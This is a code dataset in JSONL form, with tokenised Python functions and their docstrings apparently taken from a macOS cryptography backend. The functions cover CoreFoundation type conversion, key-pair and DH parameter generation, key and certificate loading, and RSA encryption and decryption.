{"signature": "@staticmethod<EOL><INDENT>def cf_number_to_number(value):<DEDENT>", "body": "type_ = CoreFoundation.CFNumberGetType(value)<EOL>type_name_ = {<EOL><NUM_LIT:1>: '<STR_LIT>',      <EOL><NUM_LIT:2>: '<STR_LIT>',      <EOL><NUM_LIT:3>: '<STR_LIT>',     <EOL><NUM_LIT:4>: '<STR_LIT>',     <EOL><NUM_LIT:5>: '<STR_LIT:float>',       <EOL><NUM_LIT:6>: '<STR_LIT>',      <EOL><NUM_LIT:7>: '<STR_LIT>',        <EOL><NUM_LIT:8>: '<STR_LIT>',       <EOL><NUM_LIT:9>: '<STR_LIT:int>',         <EOL><NUM_LIT:10>: '<STR_LIT>',       <EOL><NUM_LIT:11>: '<STR_LIT>',  <EOL><NUM_LIT:12>: '<STR_LIT:float>',      <EOL><NUM_LIT>: '<STR_LIT>',     <EOL><NUM_LIT>: '<STR_LIT>',       <EOL><NUM_LIT:15>: '<STR_LIT:int>',        <EOL><NUM_LIT:16>: '<STR_LIT>',     <EOL>}[type_]<EOL>output = new(CoreFoundation, type_name_ + '<STR_LIT>')<EOL>CoreFoundation.CFNumberGetValue(value, type_, output)<EOL>return deref(output)<EOL>", "docstring": "Converts a CFNumber object to a python float or integer\n\n:param value:\n    The CFNumber object\n\n:return:\n    A python number (float or integer)", "id": "f9510:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def cf_dictionary_to_dict(dictionary):<DEDENT>", "body": "dict_length = CoreFoundation.CFDictionaryGetCount(dictionary)<EOL>keys = new(CoreFoundation, '<STR_LIT>' % dict_length)<EOL>values = new(CoreFoundation, '<STR_LIT>' % dict_length)<EOL>CoreFoundation.CFDictionaryGetKeysAndValues(<EOL>dictionary,<EOL>keys,<EOL>values<EOL>)<EOL>output = {}<EOL>for index in range(<NUM_LIT:0>, dict_length):<EOL><INDENT>output[CFHelpers.native(keys[index])] = CFHelpers.native(values[index])<EOL><DEDENT>return output<EOL>", "docstring": "Converts a CFDictionary object into a python dictionary\n\n:param dictionary:\n    The CFDictionary to convert\n\n:return:\n    A python dict", "id": "f9510:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def native(cls, value):<DEDENT>", "body": "type_id = CoreFoundation.CFGetTypeID(value)<EOL>if type_id in cls._native_map:<EOL><INDENT>return cls._native_map[type_id](value)<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT>", "docstring": "Converts a CF* object into its python equivalent\n\n:param value:\n    The CF* object to convert\n\n:return:\n    The native python object", "id": "f9510:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def cf_string_to_unicode(value):<DEDENT>", "body": "string_ptr = CoreFoundation.CFStringGetCStringPtr(<EOL>value,<EOL>kCFStringEncodingUTF8<EOL>)<EOL>string = None if is_null(string_ptr) else ffi.string(string_ptr)<EOL>if string is None:<EOL><INDENT>buffer = buffer_from_bytes(<NUM_LIT>)<EOL>result = CoreFoundation.CFStringGetCString(<EOL>value,<EOL>buffer,<EOL><NUM_LIT>,<EOL>kCFStringEncodingUTF8<EOL>)<EOL>if not result:<EOL><INDENT>raise OSError('<STR_LIT>')<EOL><DEDENT>string = byte_string_from_buffer(buffer)<EOL><DEDENT>if string is not None:<EOL><INDENT>string = string.decode('<STR_LIT:utf-8>')<EOL><DEDENT>return string<EOL>", "docstring": "Creates a python unicode string from a CFString object\n\n:param value:\n    The CFString to convert\n\n:return:\n    A python unicode string", "id": "f9510:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def cf_string_from_unicode(string):<DEDENT>", "body": "return CoreFoundation.CFStringCreateWithCString(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>string.encode('<STR_LIT:utf-8>'),<EOL>kCFStringEncodingUTF8<EOL>)<EOL>", "docstring": "Creates a CFStringRef object from a unicode string\n\n:param string:\n    The unicode string to create the CFString object from\n\n:return:\n    A CFStringRef", "id": "f9510:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def cf_data_to_bytes(value):<DEDENT>", "body": "start = CoreFoundation.CFDataGetBytePtr(value)<EOL>num_bytes = CoreFoundation.CFDataGetLength(value)<EOL>return ffi.buffer(start, num_bytes)[:]<EOL>", "docstring": "Extracts a bytestring from a CFData object\n\n:param value:\n    A CFData object\n\n:return:\n    A byte string", "id": "f9510:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def cf_data_from_bytes(bytes_):<DEDENT>", "body": "return CoreFoundation.CFDataCreate(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>bytes_,<EOL>len(bytes_)<EOL>)<EOL>", "docstring": "Creates a CFDataRef object from a byte string\n\n:param bytes_:\n    The data to create the CFData object from\n\n:return:\n    A CFDataRef", "id": "f9510:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def cf_dictionary_from_pairs(pairs):<DEDENT>", "body": "length = len(pairs)<EOL>keys = []<EOL>values = []<EOL>for pair in pairs:<EOL><INDENT>key, value = pair<EOL>keys.append(key)<EOL>values.append(value)<EOL><DEDENT>return CoreFoundation.CFDictionaryCreate(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>keys,<EOL>values,<EOL>length,<EOL>ffi.addressof(CoreFoundation.kCFTypeDictionaryKeyCallBacks),<EOL>ffi.addressof(CoreFoundation.kCFTypeDictionaryValueCallBacks)<EOL>)<EOL>", "docstring": "Creates a CFDictionaryRef object from a list of 2-element tuples\nrepresenting the key and value. Each key should be a CFStringRef and each\nvalue some sort of CF* type.\n\n:param pairs:\n    A list of 2-element tuples\n\n:return:\n    A CFDictionaryRef", "id": "f9510:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def cf_array_from_list(values):<DEDENT>", "body": "length = len(values)<EOL>return CoreFoundation.CFArrayCreate(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>values,<EOL>length,<EOL>ffi.addressof(CoreFoundation.kCFTypeArrayCallBacks)<EOL>)<EOL>", "docstring": "Creates a CFArrayRef object from a list of CF* type objects.\n\n:param values:\n    A list of CF* type object\n\n:return:\n    A CFArrayRef", "id": "f9510:c0:m9"}
{"signature": "@staticmethod<EOL><INDENT>def cf_number_from_integer(integer):<DEDENT>", "body": "integer_as_long = ffi.new('<STR_LIT>', integer)<EOL>return CoreFoundation.CFNumberCreate(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>kCFNumberCFIndexType,<EOL>integer_as_long<EOL>)<EOL>", "docstring": "Creates a CFNumber object from an integer\n\n:param integer:\n    The integer to create the CFNumber for\n\n:return:\n    A CFNumber", "id": "f9510:c0:m10"}
{"signature": "def generate_pair(algorithm, bit_size=None, curve=None):", "body": "if algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(algorithm)<EOL>))<EOL><DEDENT>if algorithm == '<STR_LIT>':<EOL><INDENT>if bit_size not in set([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(bit_size)<EOL>))<EOL><DEDENT><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>if bit_size not in set([<NUM_LIT>]):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(bit_size)<EOL>))<EOL><DEDENT><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>if curve not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(curve)<EOL>))<EOL><DEDENT><DEDENT>cf_dict = None<EOL>public_key_ref = None<EOL>private_key_ref = None<EOL>cf_data_public = None<EOL>cf_data_private = None<EOL>cf_string = None<EOL>sec_access_ref = None<EOL>try:<EOL><INDENT>key_type = {<EOL>'<STR_LIT>': Security.kSecAttrKeyTypeDSA,<EOL>'<STR_LIT>': Security.kSecAttrKeyTypeECDSA,<EOL>'<STR_LIT>': Security.kSecAttrKeyTypeRSA,<EOL>}[algorithm]<EOL>if algorithm == '<STR_LIT>':<EOL><INDENT>key_size = {<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>}[curve]<EOL><DEDENT>else:<EOL><INDENT>key_size = bit_size<EOL><DEDENT>private_key_pointer = new(Security, '<STR_LIT>')<EOL>public_key_pointer = new(Security, '<STR_LIT>')<EOL>cf_string = CFHelpers.cf_string_from_unicode(\"<STR_LIT>\")<EOL>if algorithm == '<STR_LIT>':<EOL><INDENT>sec_access_ref_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SecAccessCreate(cf_string, null(), sec_access_ref_pointer)<EOL>sec_access_ref = unwrap(sec_access_ref_pointer)<EOL>result = Security.SecKeyCreatePair(<EOL>null(),<EOL>SecurityConst.CSSM_ALGID_DSA,<EOL>key_size,<EOL><NUM_LIT:0>,<EOL>SecurityConst.CSSM_KEYUSE_VERIFY,<EOL>SecurityConst.CSSM_KEYATTR_EXTRACTABLE | SecurityConst.CSSM_KEYATTR_PERMANENT,<EOL>SecurityConst.CSSM_KEYUSE_SIGN,<EOL>SecurityConst.CSSM_KEYATTR_EXTRACTABLE | SecurityConst.CSSM_KEYATTR_PERMANENT,<EOL>sec_access_ref,<EOL>public_key_pointer,<EOL>private_key_pointer<EOL>)<EOL>handle_sec_error(result)<EOL><DEDENT>else:<EOL><INDENT>cf_dict = CFHelpers.cf_dictionary_from_pairs([<EOL>(Security.kSecAttrKeyType, key_type),<EOL>(Security.kSecAttrKeySizeInBits, CFHelpers.cf_number_from_integer(key_size)),<EOL>(Security.kSecAttrLabel, cf_string)<EOL>])<EOL>result = Security.SecKeyGeneratePair(cf_dict, public_key_pointer, private_key_pointer)<EOL>handle_sec_error(result)<EOL><DEDENT>public_key_ref = unwrap(public_key_pointer)<EOL>private_key_ref = unwrap(private_key_pointer)<EOL>cf_data_public_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>result = Security.SecItemExport(public_key_ref, <NUM_LIT:0>, <NUM_LIT:0>, null(), cf_data_public_pointer)<EOL>handle_sec_error(result)<EOL>cf_data_public = unwrap(cf_data_public_pointer)<EOL>public_key_bytes = CFHelpers.cf_data_to_bytes(cf_data_public)<EOL>cf_data_private_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>result = Security.SecItemExport(private_key_ref, <NUM_LIT:0>, <NUM_LIT:0>, null(), cf_data_private_pointer)<EOL>handle_sec_error(result)<EOL>cf_data_private = unwrap(cf_data_private_pointer)<EOL>private_key_bytes = CFHelpers.cf_data_to_bytes(cf_data_private)<EOL>result = Security.SecKeychainItemDelete(public_key_ref)<EOL>handle_sec_error(result)<EOL>result = Security.SecKeychainItemDelete(private_key_ref)<EOL>handle_sec_error(result)<EOL><DEDENT>finally:<EOL><INDENT>if cf_dict:<EOL><INDENT>CoreFoundation.CFRelease(cf_dict)<EOL><DEDENT>if public_key_ref:<EOL><INDENT>CoreFoundation.CFRelease(public_key_ref)<EOL><DEDENT>if private_key_ref:<EOL><INDENT>CoreFoundation.CFRelease(private_key_ref)<EOL><DEDENT>if cf_data_public:<EOL><INDENT>CoreFoundation.CFRelease(cf_data_public)<EOL><DEDENT>if cf_data_private:<EOL><INDENT>CoreFoundation.CFRelease(cf_data_private)<EOL><DEDENT>if cf_string:<EOL><INDENT>CoreFoundation.CFRelease(cf_string)<EOL><DEDENT>if sec_access_ref:<EOL><INDENT>CoreFoundation.CFRelease(sec_access_ref)<EOL><DEDENT><DEDENT>return (load_public_key(public_key_bytes), load_private_key(private_key_bytes))<EOL>", "docstring": "Generates a public/private key pair\n\n:param algorithm:\n    The key algorithm - \"rsa\", \"dsa\" or \"ec\"\n\n:param bit_size:\n    An integer - used for \"rsa\" and \"dsa\". For \"rsa\" the value maye be 1024,\n    2048, 3072 or 4096. For \"dsa\" the value may be 1024.\n\n:param curve:\n    A unicode string - used for \"ec\" keys. Valid values include \"secp256r1\",\n    \"secp384r1\" and \"secp521r1\".\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A 2-element tuple of (PublicKey, PrivateKey). The contents of each key\n    may be saved by calling .asn1.dump().", "id": "f9511:m0"}
{"signature": "def generate_dh_parameters(bit_size):", "body": "if not isinstance(bit_size, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(bit_size)<EOL>))<EOL><DEDENT>if bit_size < <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if bit_size > <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if bit_size % <NUM_LIT:64> != <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>public_key_ref = None<EOL>private_key_ref = None<EOL>cf_data_public = None<EOL>cf_data_private = None<EOL>cf_string = None<EOL>sec_access_ref = None<EOL>try:<EOL><INDENT>public_key_pointer = new(Security, '<STR_LIT>')<EOL>private_key_pointer = new(Security, '<STR_LIT>')<EOL>cf_string = CFHelpers.cf_string_from_unicode(\"<STR_LIT>\")<EOL>sec_access_ref_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SecAccessCreate(cf_string, null(), sec_access_ref_pointer)<EOL>sec_access_ref = unwrap(sec_access_ref_pointer)<EOL>result = Security.SecKeyCreatePair(<EOL>null(),<EOL>SecurityConst.CSSM_ALGID_DH,<EOL>bit_size,<EOL><NUM_LIT:0>,<EOL><NUM_LIT:0>,<EOL>SecurityConst.CSSM_KEYATTR_EXTRACTABLE | SecurityConst.CSSM_KEYATTR_PERMANENT,<EOL><NUM_LIT:0>,<EOL>SecurityConst.CSSM_KEYATTR_EXTRACTABLE | SecurityConst.CSSM_KEYATTR_PERMANENT,<EOL>sec_access_ref,<EOL>public_key_pointer,<EOL>private_key_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>public_key_ref = unwrap(public_key_pointer)<EOL>private_key_ref = unwrap(private_key_pointer)<EOL>cf_data_private_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>result = Security.SecItemExport(private_key_ref, <NUM_LIT:0>, <NUM_LIT:0>, null(), cf_data_private_pointer)<EOL>handle_sec_error(result)<EOL>cf_data_private = unwrap(cf_data_private_pointer)<EOL>private_key_bytes = CFHelpers.cf_data_to_bytes(cf_data_private)<EOL>result = Security.SecKeychainItemDelete(public_key_ref)<EOL>handle_sec_error(result)<EOL>result = Security.SecKeychainItemDelete(private_key_ref)<EOL>handle_sec_error(result)<EOL>return algos.KeyExchangeAlgorithm.load(private_key_bytes)['<STR_LIT>']<EOL><DEDENT>finally:<EOL><INDENT>if public_key_ref:<EOL><INDENT>CoreFoundation.CFRelease(public_key_ref)<EOL><DEDENT>if private_key_ref:<EOL><INDENT>CoreFoundation.CFRelease(private_key_ref)<EOL><DEDENT>if cf_data_public:<EOL><INDENT>CoreFoundation.CFRelease(cf_data_public)<EOL><DEDENT>if cf_data_private:<EOL><INDENT>CoreFoundation.CFRelease(cf_data_private)<EOL><DEDENT>if cf_string:<EOL><INDENT>CoreFoundation.CFRelease(cf_string)<EOL><DEDENT>if sec_access_ref:<EOL><INDENT>CoreFoundation.CFRelease(sec_access_ref)<EOL><DEDENT><DEDENT>", "docstring": "Generates DH parameters for use with Diffie-Hellman key exchange. Returns\na structure in the format of DHParameter defined in PKCS#3, which is also\nused by the OpenSSL dhparam tool.\n\nTHIS CAN BE VERY TIME CONSUMING!\n\n:param bit_size:\n    The integer bit size of the parameters to generate. Must be between 512\n    and 4096, and divisible by 64. Recommended secure value as of early 2016\n    is 2048, with an absolute minimum of 1024.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    An asn1crypto.algos.DHParameters object. Use\n    oscrypto.asymmetric.dump_dh_parameters() to save to disk for usage with\n    web servers.", "id": "f9511:m1"}
{"signature": "def load_certificate(source):", "body": "if isinstance(source, x509.Certificate):<EOL><INDENT>certificate = source<EOL><DEDENT>elif isinstance(source, byte_cls):<EOL><INDENT>certificate = parse_certificate(source)<EOL><DEDENT>elif isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>certificate = parse_certificate(f.read())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>return _load_x509(certificate)<EOL>", "docstring": "Loads an x509 certificate into a Certificate object\n\n:param source:\n    A byte string of file contents, a unicode string filename or an\n    asn1crypto.x509.Certificate object\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A Certificate object", "id": "f9511:m2"}
{"signature": "def _load_x509(certificate):", "body": "source = certificate.dump()<EOL>cf_source = None<EOL>try:<EOL><INDENT>cf_source = CFHelpers.cf_data_from_bytes(source)<EOL>sec_key_ref = Security.SecCertificateCreateWithData(CoreFoundation.kCFAllocatorDefault, cf_source)<EOL>return Certificate(sec_key_ref, certificate)<EOL><DEDENT>finally:<EOL><INDENT>if cf_source:<EOL><INDENT>CoreFoundation.CFRelease(cf_source)<EOL><DEDENT><DEDENT>", "docstring": "Loads an ASN.1 object of an x509 certificate into a Certificate object\n\n:param certificate:\n    An asn1crypto.x509.Certificate object\n\n:return:\n    A Certificate object", "id": "f9511:m3"}
{"signature": "def load_private_key(source, password=None):", "body": "if isinstance(source, keys.PrivateKeyInfo):<EOL><INDENT>private_object = source<EOL><DEDENT>else:<EOL><INDENT>if password is not None:<EOL><INDENT>if isinstance(password, str_cls):<EOL><INDENT>password = password.encode('<STR_LIT:utf-8>')<EOL><DEDENT>if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT><DEDENT>if isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>source = f.read()<EOL><DEDENT><DEDENT>elif not isinstance(source, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>private_object = parse_private(source, password)<EOL><DEDENT>return _load_key(private_object)<EOL>", "docstring": "Loads a private key into a PrivateKey object\n\n:param source:\n    A byte string of file contents, a unicode string filename or an\n    asn1crypto.keys.PrivateKeyInfo object\n\n:param password:\n    A byte or unicode string to decrypt the private key file. Unicode\n    strings will be encoded using UTF-8. Not used is the source is a\n    PrivateKeyInfo object.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the private key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PrivateKey object", "id": "f9511:m4"}
{"signature": "def load_public_key(source):", "body": "if isinstance(source, keys.PublicKeyInfo):<EOL><INDENT>public_key = source<EOL><DEDENT>elif isinstance(source, byte_cls):<EOL><INDENT>public_key = parse_public(source)<EOL><DEDENT>elif isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>public_key = parse_public(f.read())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>return _load_key(public_key)<EOL>", "docstring": "Loads a public key into a PublicKey object\n\n:param source:\n    A byte string of file contents, a unicode string filename or an\n    asn1crypto.keys.PublicKeyInfo object\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the public key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PublicKey object", "id": "f9511:m5"}
{"signature": "def _load_key(key_object):", "body": "if key_object.algorithm == '<STR_LIT>':<EOL><INDENT>curve_type, details = key_object.curve<EOL>if curve_type != '<STR_LIT>':<EOL><INDENT>raise AsymmetricKeyError('<STR_LIT>')<EOL><DEDENT>if details not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise AsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT><DEDENT>elif key_object.algorithm == '<STR_LIT>' and key_object.hash_algo == '<STR_LIT>':<EOL><INDENT>raise AsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>key_object.bit_size<EOL>))<EOL><DEDENT>elif key_object.algorithm == '<STR_LIT>' and key_object.hash_algo is None:<EOL><INDENT>raise IncompleteAsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if isinstance(key_object, keys.PublicKeyInfo):<EOL><INDENT>source = key_object.dump()<EOL>key_class = Security.kSecAttrKeyClassPublic<EOL><DEDENT>else:<EOL><INDENT>source = key_object.unwrap().dump()<EOL>key_class = Security.kSecAttrKeyClassPrivate<EOL><DEDENT>cf_source = None<EOL>cf_dict = None<EOL>cf_output = None<EOL>try:<EOL><INDENT>cf_source = CFHelpers.cf_data_from_bytes(source)<EOL>key_type = {<EOL>'<STR_LIT>': Security.kSecAttrKeyTypeDSA,<EOL>'<STR_LIT>': Security.kSecAttrKeyTypeECDSA,<EOL>'<STR_LIT>': Security.kSecAttrKeyTypeRSA,<EOL>}[key_object.algorithm]<EOL>cf_dict = CFHelpers.cf_dictionary_from_pairs([<EOL>(Security.kSecAttrKeyType, key_type),<EOL>(Security.kSecAttrKeyClass, key_class),<EOL>(Security.kSecAttrCanSign, CoreFoundation.kCFBooleanTrue),<EOL>(Security.kSecAttrCanVerify, CoreFoundation.kCFBooleanTrue),<EOL>])<EOL>error_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>sec_key_ref = Security.SecKeyCreateFromData(cf_dict, cf_source, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>if key_class == Security.kSecAttrKeyClassPublic:<EOL><INDENT>return PublicKey(sec_key_ref, key_object)<EOL><DEDENT>if key_class == Security.kSecAttrKeyClassPrivate:<EOL><INDENT>return PrivateKey(sec_key_ref, key_object)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if cf_source:<EOL><INDENT>CoreFoundation.CFRelease(cf_source)<EOL><DEDENT>if cf_dict:<EOL><INDENT>CoreFoundation.CFRelease(cf_dict)<EOL><DEDENT>if cf_output:<EOL><INDENT>CoreFoundation.CFRelease(cf_output)<EOL><DEDENT><DEDENT>", "docstring": "Common code to load public and private keys into PublicKey and PrivateKey\nobjects\n\n:param key_object:\n    An asn1crypto.keys.PublicKeyInfo or asn1crypto.keys.PrivateKeyInfo\n    object\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PublicKey or PrivateKey object", "id": "f9511:m6"}
{"signature": "def load_pkcs12(source, password=None):", "body": "if password is not None:<EOL><INDENT>if isinstance(password, str_cls):<EOL><INDENT>password = password.encode('<STR_LIT:utf-8>')<EOL><DEDENT>if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT><DEDENT>if isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>source = f.read()<EOL><DEDENT><DEDENT>elif not isinstance(source, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>key_info, cert_info, extra_certs_info = parse_pkcs12(source, password)<EOL>key = None<EOL>cert = None<EOL>if key_info:<EOL><INDENT>key = _load_key(key_info)<EOL><DEDENT>if cert_info:<EOL><INDENT>cert = _load_x509(cert_info)<EOL><DEDENT>extra_certs = [_load_x509(info) for info in extra_certs_info]<EOL>return (key, cert, extra_certs)<EOL>", "docstring": "Loads a .p12 or .pfx file into a PrivateKey object and one or more\nCertificates objects\n\n:param source:\n    A byte string of file contents or a unicode string filename\n\n:param password:\n    A byte or unicode string to decrypt the PKCS12 file. Unicode strings\n    will be encoded using UTF-8.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when a contained key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A three-element tuple containing (PrivateKey, Certificate, [Certificate, ...])", "id": "f9511:m7"}
{"signature": "def rsa_pkcs1v15_encrypt(certificate_or_public_key, data):", "body": "if not isinstance(certificate_or_public_key, (Certificate, PublicKey)):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>key_length = certificate_or_public_key.byte_size<EOL>buffer = buffer_from_bytes(key_length)<EOL>output_length = new(Security, '<STR_LIT>', key_length)<EOL>result = Security.SecKeyEncrypt(<EOL>certificate_or_public_key.sec_key_ref,<EOL>SecurityConst.kSecPaddingPKCS1,<EOL>data,<EOL>len(data),<EOL>buffer,<EOL>output_length<EOL>)<EOL>handle_sec_error(result)<EOL>return bytes_from_buffer(buffer, deref(output_length))<EOL>", "docstring": "Encrypts a byte string using an RSA public key or certificate. Uses PKCS#1\nv1.5 padding.\n\n:param certificate_or_public_key:\n    A PublicKey or Certificate object\n\n:param data:\n    A byte string, with a maximum length 11 bytes less than the key length\n    (in bytes)\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the encrypted data", "id": "f9511:m8"}
{"signature": "def rsa_pkcs1v15_decrypt(private_key, ciphertext):", "body": "if not isinstance(private_key, PrivateKey):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if not isinstance(ciphertext, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(ciphertext)<EOL>))<EOL><DEDENT>key_length = private_key.byte_size<EOL>buffer = buffer_from_bytes(key_length)<EOL>output_length = new(Security, '<STR_LIT>', key_length)<EOL>if osx_version_info < (<NUM_LIT:10>, <NUM_LIT:8>):<EOL><INDENT>padding = SecurityConst.kSecPaddingNone<EOL><DEDENT>else:<EOL><INDENT>padding = SecurityConst.kSecPaddingPKCS1<EOL><DEDENT>result = Security.SecKeyDecrypt(<EOL>private_key.sec_key_ref,<EOL>padding,<EOL>ciphertext,<EOL>len(ciphertext),<EOL>buffer,<EOL>output_length<EOL>)<EOL>handle_sec_error(result)<EOL>output = bytes_from_buffer(buffer, deref(output_length))<EOL>if osx_version_info < (<NUM_LIT:10>, <NUM_LIT:8>):<EOL><INDENT>output = remove_pkcs1v15_encryption_padding(key_length, output)<EOL><DEDENT>return output<EOL>", "docstring": "Decrypts a byte string using an RSA private key. Uses PKCS#1 v1.5 padding.\n\n:param private_key:\n    A PrivateKey object\n\n:param ciphertext:\n    A byte string of the encrypted data\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the original plaintext", "id": "f9511:m9"}
{"signature": "def rsa_oaep_encrypt(certificate_or_public_key, data):", "body": "return _encrypt(certificate_or_public_key, data, Security.kSecPaddingOAEPKey)<EOL>", "docstring": "Encrypts a byte string using an RSA public key or certificate. Uses PKCS#1\nOAEP padding with SHA1.\n\n:param certificate_or_public_key:\n    A PublicKey or Certificate object\n\n:param data:\n    A byte string, with a maximum length 41 bytes (or more) less than the\n    key length (in bytes)\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the encrypted data", "id": "f9511:m10"}
{"signature": "def rsa_oaep_decrypt(private_key, ciphertext):", "body": "return _decrypt(private_key, ciphertext, Security.kSecPaddingOAEPKey)<EOL>", "docstring": "Decrypts a byte string using an RSA private key. Uses PKCS#1 OAEP padding\nwith SHA1.\n\n:param private_key:\n    A PrivateKey object\n\n:param ciphertext:\n    A byte string of the encrypted data\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the original plaintext", "id": "f9511:m11"}
